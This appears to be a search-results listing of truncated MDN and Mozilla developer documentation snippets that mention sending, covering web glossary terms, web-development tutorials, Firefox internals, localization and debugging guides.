quests the content. page prediction improves performance by enabling almost instant loading of predicted content. however, page prediction may also download content a user does not seek. some web applications include a prediction feature completing search text and address bar urls based on browsing history and related searches. for example, as the user types in the address bar, the browser might
send the current text in the address bar to the search engine before the user submits the request. although browser page prediction and prediction services enable faster page loads, they consume additional bandwidth. also, pre-loaded websites and embedded content can set and read their cookies as if they were visited even if they weren't. ...
Placeholder names - MDN Web Docs Glossary: Definitions of Web-related terms
placeholder names are commonly used in cryptography to indicate the participants in a conversation, without resorting to terminology such as "party a," "eavesdropper," and "malicious attacker." the most commonly used names are: alice and bob, two parties who want to
send messages to each other, occasionally joined by carol, a third participant eve, a passive attacker who is eavesdropping on alice and bob's conversation mallory, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages ...
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
equest-method, access-control-request-headers, and the origin header. a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves. it appears when request is qualified as "to be preflighted" and omitted for simple requests. ...
RSS - MDN Web Docs Glossary: Definitions of Web-related terms
rss (really simple syndication) refers to several xml document formats designed for publishing site updates. when you subscribe to a website's rss feed, the website
sends information and updates to your rss reader in an rss document called a feed, so you don't need to check all your favorite websites manually. learn more general knowledge rss on wikipedia technical reference latest specification ...
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
a signature, or digital signature, is a protocol showing that a message is authentic. from the hash of a given message, the signing process first generates a digital signature linked to the signing entity, using the entity's private key. on receiving the message, the verification process authenticates the
sender - uses the
sender's public key to decrypt the signature and recover the hash, which can only be created with the
sender's private key, and checks message integrity - compares the hash with a newly calculated one from the received document (the two hashes will differ if the document has been tampered with) the system fails if the private key is compromised or the recipient is deceitfully given the wrong public key. learn more general knowledge digital signature on ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
tiate and start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively. the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests. the host, generally the browser,
sends a tcp synchronize packet to the server. the server receives the syn and
sends back a synchronize-acknowledgement. the host receives the server's syn-ack and
sends an acknowledge. the server receives ack and the tcp socket connection is established. this handshake step happens after a dns lookup and before the tls handshake, when creating a secure connection. the connection can be terminated ind...
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
udp uses a simple connectionless communication model with a minimum of protocol mechanism. udp provides checksums for data integrity, and port numbers for addressing different functions at the source and destination of the datagram. it has no handshaking dialogues, and thus exposes the user's program to any unreliability of the underlying network; there is no guarantee of delivery, ordering, or duplicate protection. ...
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
oip technology is because of cost. voip allows you to make a call directly from a computer, a special voip phone, or a traditional phone connected to a special adapter. a high speed internet connection is required for voip. usually, telephone calls over the internet do not incur further charges beyond what the user is paying for internet access, much in the same way that the user doesn't pay for
sending individual emails over the internet. learn more general knowledge voip on wikipedia ...
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time. challenge-response protocols are one way to fight against replay attacks where an attacker listens to the previous messages and re
sends them at a later time to get the same credentials as the original message. the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same). learn more challenge-response authentication on wikipedia. ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
browser, a user agent could be a bot scraping webpages, a download manager, or another app accessing the web. along with each request they make to the server, browsers include a self-identifying user-agent http header called a user agent (ua) string. this string often identifies the browser, its version number, and its host operating system. spam bots, download managers, and some browsers often
send a fake ua string to announce themselves as a different client. this is known as user agent spoofing. the user agent string can be accessed with javascript on the client side using the navigator.useragent property. a typical user agent string looks like this: "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:35.0) gecko/20100101 firefox/35.0". learn more general knowledge user agent on wikipedia...
How do you make sure your website works properly? - Learn web development
3.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms 64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms 64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms ^c --- mozilla.org ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms just keep in mind a handy keyboard shortcut: ctrl+c. ctrl+c
sends an “interrupt” signal to the runtime and tells it to stop. if you don't stop the runtime, ping will ping the server indefinitely. a simple checklist check for 404s make sure all webpages are behaving as you expect check your website in several browsers to make sure it renders consistently next steps congratulations, your website is up and running for anyone to visit. that's a huge ...
What is the difference between webpage, website, web server, and search engine? - Learn web development
casually referred as "the home"): the ideas of a web page and a website are especially easy to confuse for a website that contains only one web page. such a website is sometimes called a single-page website. web server a web server is a computer hosting one or more websites. "hosting" means that all the web pages and their supporting files are available on that computer. the web server will
send any web page from the website it is hosting to any user's browser, per user request. don't confuse websites and web servers. for example, if you hear someone say, "my website is not responding", it actually means that the web server is not responding and therefore the website is not available. more importantly, since a web server can host multiple websites, the term web server is never used to d...
Example - Learn web development
orm-page" method="post"> <div> <label for="name">name:</label> <input type="text" id="name" name="user_name"> </div> <div> <label for="mail">e-mail:</label> <input type="email" id="mail" name="user_email"> </div> <div> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </div> <div class="button"> <button type="submit">
send your message</button> </div> </form> css content form { /* just to center the form on the page */ margin: 0 auto; width: 400px; /* to see the limits of the form */ padding: 1em; border: 1px solid #ccc; border-radius: 1em; } div + div { margin-top: 1em; } label { /* to make sure that all label have the same size and are properly align */ display: inline-block; width: 9...
HTML basics - Learn web development
n below: <a href="">mozilla manifesto</a> fill in the value of this attribute with the web address that you want the link to link to: <a href="https://www.mozilla.org/about/manifesto/">mozilla manifesto</a> you might get unexpected results if you omit the https:// or http:// part, called the protocol, at the beginning of the web address. after making a link, click it to make sure it is
sending you where you wanted it to. href might appear like a rather obscure choice for an attribute name at first. if you are having trouble remembering it, remember that it stands for hypertext reference. add a link to your page now, if you haven't already done so. conclusion if you have followed all the instructions in this article, you should end up with a page that looks like the one below (...
The web and web standards - Learn web development
are run by the browser to produce a website front-end that your users can use. there are another class of languages called back-end (or server-side) languages, meaning that they are run on the server before the result is then sent to the browser to be displayed. a typical use for a server-side language is to get some data out of a database and generate some html to contain the data, before then
sending the html over to the browser to display it to the user. example server-side languages include asp.net, python, php, and nodejs. web best practices we have briefly talked about the technologies that you'll use to build websites. now let's discuss the best practices you should employ to make sure you are using those technologies in the best way that you can. when doing web development, the m...
Tips for authoring fast-loading HTML pages - Learn web development
matting the source or by obfuscating the source and replacing long identifiers with shorter versions. minimize the number of files reducing the number of files referenced in a web page lowers the number of http connections required to download a page, thereby reducing the time for these requests to be sent, and for their responses to be received. depending on a browser's cache settings, it may
send a request with the if-modified-since header for each referenced file, asking whether the file has been modified since the last time it was downloaded. too much time spent querying the last modified time of the referenced files can delay the initial display of the web page, since the browser must check the modification time for each of these files, before rendering the page. if you use background...
Use HTML to solve common problems - Learn web development
o use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems. these articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to
send data from a webpage to a web server. we encourage you to go over our full dedicated guide. here is where you should start: how to create a simple web form how to structure a web form tabular information some information, called tabular data, needs to be organized into tables with columns and rows. it's one of the most complex html structures, and mastering it is not easy: how to create ...
Marking up a letter - Learn web development
nd paragraphs, with the following exception. there is one top level heading (the "re:" line) and three second level headings. use an appropriate list type to mark up the semester start dates, study subjects, and exotic dances. put the two addresses inside <address> elements. each line of the address should sit on a new line, but not be in a new paragraph. inline semantics the names of the
sender and receiver (and tel and email) should be marked up with strong importance. the four dates in the document should be have appropriate elements containing machine-readable dates. the first address and first date in the letter should have a class attribute value of
sender-column. the css you'll add later will cause these to be right aligned, as it should be in the case in a classic letter layo...
From object to iframe — other embedding technologies - Learn web development
(e.g., user-generated content), please serve it from a different domain to your main site. configure csp directives csp stands for content security policy and provides a set of http headers (metadata sent along with your web pages when they are served from a web server) designed to improve the security of your html document. when it comes to securing <iframe>s, you can configure your server to
send an appropriate x-frame-options header. this can prevent other websites from embedding your content in their web pages (which would enable clickjacking and a host of other attacks), which is exactly what the mdn developers have done, as we saw earlier on. note: you can read frederik braun's post on the x-frame-options security header for more background information on this topic. obviously, it'...
General asynchronous programming concepts - Learn web development
task c --> task d javascript is single-threaded javascript is traditionally single-threaded. even with multiple cores, you could only get it to run tasks on a single thread, called the main thread. our example from above is run like this: main thread: render circles to canvas --> display alert() after some time, javascript gained some tools to help with such problems. web workers allow you to
send some of the javascript processing off to a separate thread, called a worker so that you can run multiple javascript chunks simultaneously. you'd generally use a worker to run expensive processes off the main thread so that user interaction is not blocked. main thread: task a --> task c worker thread: expensive task b with this in mind, have a look at simple-sync-worker.html (see it running li...
Graceful asynchronous programming with Promises - Learn web development
ying partial information. let's build another example to show this in action. download a fresh copy of our page template, and again put a <script> element just before the closing </body> tag. download our source files (coffee.jpg, tea.jpg, and description.txt), or feel free to substitute your own. in our script, we'll first define a function that returns the promises we want to
send to promise.all(). this would be easy if we just wanted to run the promise.all() block in response to three fetch() operations completing. we could just do something like: let a = fetch(url1); let b = fetch(url2); let c = fetch(url3); promise.all([a, b, c]).then(values => { ... }); when the promise is fulfilled, the values passed into the fulfilment handler would contain three response ob...
What is JavaScript? - Learn web development
in technical terms) — this means that in most cases the code in each tab is run completely separately, and the code in one tab cannot directly affect the code in another tab — or on another website. this is a good security measure — if this were not the case, then pirates could start writing code to steal information from other websites, and other such bad things. note: there are ways to
send code and data between different websites/tabs in a safe manner, but these are advanced techniques that we won't cover in this course. javascript running order when the browser encounters a block of javascript, it generally runs it in order, from top to bottom. this means that you need to be careful what order you put things in. for example, let's return to the block of javascript we saw in our...
Introducing JavaScript objects - Learn web development
ild" object classes (constructors) that inherit features from their "parent" classes. in addition, we present some advice on when and where you might use oojs. working with json data javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax, which is commonly used for representing and transmitting data on web sites (i.e.
sending some data from the server to the client, so it can be displayed on a web page). you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json. object building practice in previous articles we looked at all the essential javascript object theory and...
Aprender y obtener ayuda - Learn web development
othing wrong with creating your own code examples on your computer, or in an online code editor like jsbin, codepen, or glitch. in fact, you'll be called to do so as part of this course when you are learning! note: online code editors are also really useful for sharing code you've written, for example, if you are collaborating on learning with someone else who isn't in the same location, or are
sending it someone to ask for help with it. you can share the web address of the example with them so they can see it. note: you might favor one learning method over the others, but realistically a hybrid approach is probably what you will end up with. and you'll probably come up with other methods than the three we covered above. making a plan it is a good idea to create a plan to help you achi...
Learning area release notes - Learn web development
it has new examples available and techniques covered. it has a new structure to make for a more effective learning experience. more "test your skills" sections have been added. you can see these on: css layout: flexbox css layout: grids css layout: floats december 2019 we are adding a new type of assessment article to the learning a...
Introduction to client-side frameworks - Learn web development
lude wordpress, joomla, and drupal. server-side rendering server-side rendering (ssr) is an application architecture in which it is the server's job to render a single-page application. this is the opposite of client-side rendering, which is the most common and most straightforward way to build a javascript application. server-side rendering is easier on the client's device, because you're only
sending a rendered html file to them, but it can be difficult to set up compared to a client-side-rendered application. all of the frameworks covered in this module support server-side rendering as well as client-side rendering. check out next.js for react, nuxt.js for vue (yes it is confusing, and no, these projects are not related!), fastboot for ember, and angular universal for angular. note: so...
Accessibility in React - Learn web development
on. focusing when the user deletes a task there's one last keyboard experience gap: when a user deletes a task from the list, the focus vanishes. we're going to follow a pattern similar to our previous changes: we'll make a new ref, and utilize our useprevious() hook, so that we can focus on the list heading whenever a user deletes a task. why the list heading? sometimes, the place we want to
send our focus to is obvious: when we toggled our <todo /> templates, we had an origin point to "go back" to — the "edit" button. in this case however, since we're completely removing elements from the dom, we have no place to go back to. the next best thing is an intuitive location somewhere nearby. the list heading is our best choice because it's close to the list item the user will delete, and fo...
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
use todos.length, instead. to do this, replace the block that begins with let newtodoid with this: $: newtodoid = todos.length ? math.max(...todos.map(t => t.id)) + 1 : 1 everything works as expected — we just extracted the last piece of markup to its own component. now we need to find a way to give focus to the <h2> status label after a todo has been removed. so far we saw how to
send information to a component via props, and how a component can communicate with its parent by emitting events or using two-way data binding. the child component could get a reference to the <h2> node using bind:this={dom_node} and expose it to the outside using two-way data binding. but doing so would break the component encapsulation; setting focus on it should be its own responsibility. so we n...
Working with Svelte stores - Learn web development
store syntax. if you create your own stores honoring the store contract, you get this reactivity syntactic sugar for free. creating the alert component to show how to work with stores, we will create an alert component. these kind of widgets might also be known as popup notifications, toast, or notification bubbles. our alert component will displayed by the app component, but any component can
send notifications to it; whenever a notification arrives the alert component will be in charge of displaying it on screen. creating a store let's start by creating a writable store. any component will be able to write to this store, and the alert component will subscribe to it and display a message whenever the store is modified. create a new file — stores.js — inside your src directory. ...
Handling common JavaScript problems - Learn web development
code falls over as soon as we try to access a property of jsonobj (which as you might expect, is supposed to be a json object). this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.
send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails. the console api you may already know what is wrong with this code, but let's explore it some more to show how you could investigate this. for a start, there is a console api that allows javascript code to interact with the browser's javascript console. it has a number of features avail...
Command line crash course - Learn web development
ntually) get redirected to /docs/web/api/windoworworkerglobalscope/fetch. therefore, if you use curl to request /docs/web/api/fetch, you won’t get an output. try it now: curl /docs/web/api/fetch we need to explicitly tell curl to follow redirects using the -l flag. let's also look at the headers that developer.mozilla.org returns using curl's -i flag, and print all the location redirects it
sends to the terminal, by piping the output of curl into grep (we will ask grep to return all the lines that contain the word "location"). try running the following, and you’ll see that in fact there are three redirects happening before we reach the final page: curl /docs/web/api/fetch -l -i | grep location your output should look something like this (curl will first output some download counters...
Mozilla’s UAAG evaluation report
of new page load (blocks most popup advertisements): user_pref("dom.disable_open_during_load", true); 5.4 selection and focus in viewport. (p2) c when focus and/or selection changes they are in the viewport 5.5 confirm form submission. (p2) p only allows confirmation if the information is not secure? this is also under preferences, security, ssl, "
sending form data from unencrypted page to unencrypted page" 5.6 confirm fee links. (p2) ni no support of fee links 5.7 manual viewport close only. (p3) c just fixed! see bug 32571 for more information. guideline 6. implement interoperable application programming interfaces. checkpoint title status notes/plans 6.1 dom read access. (p1...
ZoomText
nly alpha, i'm having very good luck with them. it doesn't do us any good to get bug reports on older stuff right now. our main focus is on the browser itself, so you you only need to install mailnews or address book if curious about the other apps. you will also need to install zoomtext 8.11.3. happy testing! you may wish to read through the current issues on this page before reporting bugs.
send me email so that i'm aware that you're testing and let me know what bugs you're finding. my email address is aaronleventhal@moonset.net. issues for ai squared, from high to low priority docreader and appreader don't respect the structure of the document -- no support for columns. zoomtext text to speech doesn't always echo what it should -- need more details from testers. mozilla issues ...
Frequently Asked Questions for Lightweight themes
dd-ons menu and click on the appearance tab. how do i undo a lightweight theme? to undo the design you most recently selected, go to tools > add-ons in the menu bar and select the themes tab. next to the theme you want to undo, click the disable button. how do i provide feedback? we're always looking for ways to improve themes, and would love to hear what you think. visit the themes forum to
send us your feedback. creating your own themes can i create my own theme? absolutely! all you need to do is create two graphics files in your favorite graphics editing program (e.g., photoshop). to get started read more about how to create a theme. are there any content guidelines? yes. we are big fans of creativity, but want to ensure that the art displayed in the themes gallery meets a basic s...
Command line options
note: profile_dir must not exist and you must not already have a profile called profile_name. -migration start with import wizard. -new-instance open new instance, not a new window in running instance, which allows multiple copies of application to be open at a time. firefox -new-instance -p "another profile" note: not available for windows, see bug 855899. -no-remote do not accept or
send remote commands. implies -new-instance. firefox -no-remote -p "another profile" note: since firefox 9, this does really mean what its name implies on all platforms, i.e. instances created with this parameter do not accept or
send remote commands, see bug 650078. that means that such instances won't be re-used. also when using this argument a new instance is created in any case. -override /p...
Eclipse CDT
could invoke commands to build directly from there. failing that, it would be nice if eclipse could at least pass information about what files have changed to the build process, which could then decide on a faster way to do the build (e.g., "just make in layout/"). i (roc) have actually written a small change to the cdt make builder that lets you specify that as an option, in which case eclipse
sends the names of all changed files to your build tool. the build tool is a perl script that figures out if a faster build is possible and if so, does it. faq here are some frequently asked questions. why does eclipse need an object directory? to provide good code assistance eclipse needs you to have a build directory for two reasons. first, eclipse needs to be able to collect a usable set of de...
SVG Guidelines
er before the result is stored in the raster file. this work doesn't need to be redone when the image is displayed on someone else's computer. on the other hand, if the image is saved as an svg image then all this work needs to be done each time the svg is displayed on someone else's computer. this isn't to say that svg images are always slower than raster equivalents. in fact it can be faster to
send vector information from an svg to a user's gpu than it is to extract raster data from an equivalent raster image. and even when an svg image is slower than a raster equivalent, the difference is usually not noticable. however, just don't fall into the trap of thinking that svgs are faster than eqivalent raster images, or vice versa. once again, "it depends". authoring guidelines a lot of svg f...
Frame script environment
t loaded in the browser. may be null (see below) docshell the nsidocshell associated with the browser. addeventlistener() listen to events from content. removeeventlistener() stop listening to events from content. addmessagelistener() listen to messages from chrome. removemessagelistener() stop listening to messages from chrome.
sendasyncmessage()
send an asynchronous message to chrome.
sendsyncmessage()
send a synchronous message to chrome. dump() print a message to the console. atob() base64 decode. btoa() base64 encode. components the usual components object. in particular, note that a frame script accesses the dom window using content, not window: // f...
Limitations of frame scripts
i.nsidocshelltreeitem) .roottreeitem .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow); this will no longer work. in the content process the root tree item is an nsitabchild, that cannot be converted to an nsidomwindow, so the second getinterface call here will fail. if you want a chrome window:
send a message from the content process using the message manager. the target property of the object passed into the message handler in the chrome process is the xul <browser> receiving the message, and you can get the chrome window from that (note: i'm not really sure how...). nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process. this means...
Frame script environment
nt loaded in the browser may be null (see below) docshell the nsidocshell associated with the browser. addeventlistener() listen to events from content. removeeventlistener() stop listening to events from content. addmessagelistener() listen to messages from chrome. removemessagelistener() stop listening to messages from chrome.
sendasyncmessage()
send an asynchronous message to chrome.
sendsyncmessage()
send a synchronous message to chrome. dump() print a message to the console. atob() base64 decode. btoa() base64 encode. components the usual components object. in particular, note that a frame script accesses the dom window using content, not window: // f...
Limitations of frame scripts
.nsidocshelltreeitem) .roottreeitem .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow); this will no longer work. in the content process, the root tree item is an nsitabchild, that cannot be converted to an nsidomwindow, so the second getinterface call here will fail. if you want a chrome window:
send a message from the content process using the message manager. the target property of the object passed into the message handler in the chrome process is the xul <browser> receiving the message, and you can get the chrome window from that (i'm not sure how). nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process. this means that you can't ...
HTMLIFrameElement.goBack()
l not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the goback() method of the htmliframeelement interface is used to navigate backwards in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which
sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on. syntax instanceofhtmliframeelement.goback(); returns void. parameters none. examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification. ...
HTMLIFrameElement.goForward()
he web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the goforward() method of the htmliframeelement is used to navigate forward in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which
sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on. syntax instanceofhtmliframeelement.goforward(); returns void. parameters none. examples fwd.addeventlistener('touchend',function() { browser.goforward(); }); specification not part of any specification. ...
mozbrowsercaretstatechanged
(false.) caretvisible a boolean indicating whether the caret is currently visible (true) or not (false.) selectionvisible a boolean indicating whether the current selection is visible (true) or not (false.) selectioneditable a boolean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text content.
senddocommandmsg a method allowing you to issue a command via an anonymouse function, i.e. function(command). possible values are cut, copy, paste and selectall. examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsercaretstatechanged", function( event ) { // do stuff with event.details }); related events mozbrowserclose mozbrowsercontextmenu mozbrows...
Roll your own browser: An embedding how-to
breed browser on the mac os x platform. camino uses cocoazilla, a variant of fizzilla that consists of a unix back end wed to a cocoa front end. java examples java webclient: provides a browser-neutral java api that enables generic web browsing capability. browserg!: a java application that uses webclient for html rendering and surfing capabilities. if you find any missing item, please
send me an email. original document information author(s): doug turner original document: , , and last updated date: december 8, 2004 copyright information: copyright (c) doug turner ...
Getting Started with Chat
is executed for the current channel. /mode #channel +o nickname sets specified user as an owner or moderator of the specified channel. if a #channel is not specified, the command is executed for the current channel. /mode #channel +s sets the channel as a secret channel. this takes the channel off the public list of active channels and topics. ...
How to get a stacktrace for a bug report
hen look for logs for "firefox-bin". linux note that for most distros, the package you need to get symbols for will be something like "xulrunner", not "firefox". crash reports files on your computer when breakpad initially catches a crash it first writes crash report files (e.g. .dump and .extra files) into the 'pending' subdirectory of its 'crash reports' directory. if breakpad successfully
sends the crash report to the reporting server then, by default, the files added to the 'pending' subdirectory for the crash are removed, and a .txt file is placed in the 'submitted' directory containing the crash id created by the reporting server. if you want breakpad to leave the .dump and .extra files on your computer so that you can examine them locally, then set the moz_crashreporter_no_delete_...
How to investigate Disconnect failures
usually disconnects happens when a modal dialog freezes and we cannot close it sp we close firefox with the modal frozen. we cannot investigate failures via mozmill, because we do not catch the crashes, so the crashes' information is not logged; we have to go to ci machines and investigate directly. ...
PBackground
s restricted privileges. instead, these apis must ask the chrome process to do something on their behalf via an ipdl protocol. this has lead to a rather awkward pattern seen in some parts of the gecko codebase, looking something like this (try searching for geckoprocesstype_default in dxr): if (xre_getprocesstype() == geckoprocesstype_default) { dothething(arguments); } else { mipdlprotocol->
senddothething(arguments); } this can get unwieldy very quickly, so a better solution was needed. pbackground pbackground exists to solve such problems. it connects a designated "background" thread in the chrome process to any other thread in any other process. pbackground allows us to bypass the chrome process's main thread if used from the content process' main thread. bypass both main thread...
Internationalized Domain Names (IDN) Support in Mozilla Browsers
491, 3492.) these new rfc's now make it possible for domain name servers to register non-ascii domain names and application/client vendors to implement standardized support for handling non-ascii characters in domain names. how idn works when a browser sees a host name such as http://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn
sends a request to a nearest domain name server to return an ip address that corresponds to the host name. this ip address is then used to connect to the web server in question. idn allows host/domain names with non-ascii characters for user input into a browser's location bar or url's embedded in web pages. at the network protocol level, there is no change in the restriction that only a subset of as...
AsyncShutdown.jsm
firefox or burning through battery. this is by design. it is the caller's responsibility to ensure that the promise is eventually resolved/rejected. properties attribute type description profilebeforechange read only phase the profile is about to be unmounted. this phase represents the last chance to write data to the profile directory.
sendtelemetry read only phase telemetry is being sent. this phase represents the last chance for telemetry to write data. webworkersshutdown read only phase javascript threads are about to be killed. this phase represents the last chance to communicate with a javascript worker, in particular with os.file. ...
CustomizableUI.jsm
ify listeners that a window is exiting customize mode. for use from customize mode only, do not use otherwise. parameters awindow the window exiting customize mode dispatchtoolboxevent() notify toolbox(es) of a particular event. if you don't pass awindow, all toolboxes will be notified. for use from customize mode only, do not use otherwise. parameters aevent the name of the event to
send. adetails optional, the details of the event. awindow optional, the window in which to
send the event. isareaoverflowable() check whether an area is overflowable. parameters aareaid the id of an area to check for overflowable-ness return value true if the area is overflowable, false otherwise settoolbarvisibility() set a toolbar's visibility state in all windows. parameters a...
Http.jsm
http.jsm http.jsm provides httprequest - a wrapper for xmlhttprequest that provides convenient and simplified api for dealing with http requests. httprequest supports the following parameters: name meaning headers an array of headers postdata this can be: a string:
send it as is an array of parameters: encode as form values null/undefined: no post data. method get, post or put (this is automatically set if postdata exists). onload a function handle to call when the load is complete, it takes two parameters: the responsetext and the xhr object. onerror a function handle to call when an error occurs, it takes three parameters: the error, the responsetext and the xhr...
Following the Android Toasts Tutorial from a JNI Perspective
for android since version 17. this article teaches developers how to port java code to jni by reading the java and android documentation. toast description a toast provides simple feedback about an operation in a small popup. it only fills the amount of space required for the message, and the current activity remains visible and interactive. for example, navigating away from an email before you
send it triggers a "draft saved" toast to let you know that you can continue editing later. toasts automatically disappear after a timeout. toasts do not have to be created with jni; they are exposed by the nativewindow feature on firefox for android, see toast documentation. java code let's start with the following java code, which invokes a toast and says "hello, firefox!". context context = get...
Examples
ca_evalwithdebugger@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/server/actors/webconsole.js:1069:7 wca_onevaluatejs@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/server/actors/webconsole.js:734:9 dsc_onpacket@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/server/main.js:1098:9 ldt_
send/<@resource://gre/modules/devtools/dbg-client.jsm -> resource://gre/modules/devtools/server/transport.js:279:11 makeinfallible/<@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/devtoolsutils.js:84:7 */ intermediate of user defined promise function 1 components.utils.import("resource://gre/modules/promise.jsm"); // this function creates and returns a new prom...
Services.jsm
cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessage
sender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlinkhandler nsidro...
Initial setup
u will be creating a new localization or joining an existing one. this will determine what information is most applicable to you throughout the rest of this guide. here's what you do: look through the existing localization community directory to see if one already exists for your locale. if a community already exists, reach out to them and ask how you can help. if a community doesn't exist,
send an email to the new-locales newsgroup for additional guidance. accounts there are a handful of accounts that you need to be aware of as you begin. they're not required for you to begin contributing, but will be required when you are preparing to produce an official release. for now, simply be aware that these will become important as your efforts progress. these accounts will store your code, ...
Localization formats
content asking users to update to the next version of software available. you may choose to present just the html for localization: we give an html file which lists several pieces of content like, <h1>getting started</h1> and the localizer translates to <h1>débuter avec firefox</h1> the localizer then submits the translated html or php back to us by either checking in changes to svn or
sending us a patch that pascal checks in. advantages to html good for small projects very simple for web developers gives localizers the exact context of translations a localizer who knows basic html can style translations to make sure translations display correctly...we can allow slight modifications (e.g. rtl or wider display) gives the possibility to customize content per locale simple wor...
What every Mozilla translator should know
ting many or even all locales. when you create a bug, if you want the person in charge of the l10n to follow up your bug you should cc: l10n@mozilla.com if you choose to make changes to your localization, you should make the changes local to your disk, push them to your hg repository on merucial, test the changes on a nightly/tinderbox build, fix any errors if some are found and test again, and
send the new changeset id as your "opt-in" revisions to the l10-drivers. there is one exception to this process. if you choose to make any changes to the productization elements (i.e. search plugins, protocol handlers, rss/live bookmarks), you will need to upload a patch with the suggested changes to bugzilla and get approval before pushing those changes to your hg repository. do the changes in y...
Mozilla DOM Hacking Guide
want to skip this section if you don't have too much time (and i suppose you don't). user's guide to class info warning: this document has not yet been reviewed by the dom gurus, it might contain some errors. specifically, due to some changes that happened around, april 2002, some things that were not possible before are now possible. i will try to update this guide as soon as possible. please
send any comment to fabian guisset. when should domclassinfo be used to add a new interface to an existing dom object to expose a new dom object to javascript to add a new js external constructor, like "new image()" to bypass the default behavior of xpconnect to implement a "replaceable" property to mess with the prototypes of dom objects example of functionality implemented using domclass...
Mozilla Web Developer FAQ
acter to use between the property name and the value is the colon—not the equal sign. html markup, such as <style>, does not belong in .css files. font-face is not a real css property. the property is font-family and @font-face is an at-rule. if @import is used, it should be the first thing in a css file. css parsing errors are reported to the javascript console. is the server
sending the proper content-type header for css style sheets? the correct type is text/css. in the standards mode and the almost standards mode only style sheets with the correct type are applied. you can see the http headers sent by the server by using the livehttpheaders extension or by using the web sniffer. class names and ids are case-sensitive. the element selectors are case-se...
DMD
e, minimize); this will dump memory reports and dmd output to the temporary directory. identifier is a string that will be used for part of the filename (or a timestamp will be used if it is an empty string); anonymize is a boolean that indicates if the memory reports should be anonymized; and minimize is a boolean that indicates if memory usage should be minimized first. (linux only) you can
send signal 34 to the firefox process, e.g. with the following command. $ killall -34 firefox each one of these steps triggers all the memory reporters and then dmd analyzes the reports, printing commentary like this: dmd[5222] opened /tmp/dmd-1414556492-5222.json.gz for writing dmd[5222] dump 1 { dmd[5222] constructing the heap block list... dmd[5222] constructing the stack trace table... ...
Reporting a Performance Problem
button asks you what data you'd like to publish to our servers. note that while it's possible to strip profiles of potentially privacy sensitive information, the less information a profile contains, the harder it is to analyze and turn into actionable data. once uploaded, copy permalink url to your clipboard by right clicking and add the profile url to a bug for your performance problem and/or
send it to the appropriate person. try to give some context about what you were doing when the performance problem arose such as the url you were viewing and what actions were you doing (ex. scrolling on gmail.com). viewing addon performance in geckoview sometimes an addon or more are slowing down firefox. these addons might be using the extension api in ways that were not meant to. you can see ...
Preference reference
accessibility.tabfocusthe preference accessibility.tabfocus controls what elements receive focus when the user presses the tab key.browser.altclicksavethe preference browser.altclicksave controls whether clicking a link while holding the alt key starts the download of that link.browser.dom.window.dump.enabledthis setting enables the dump function, which
sends messages to the system console. set it to true to enable it, or false to disable it.browser.dom.window.dump.filebrowser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. changes require an application restart.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory ...
PR_Connect
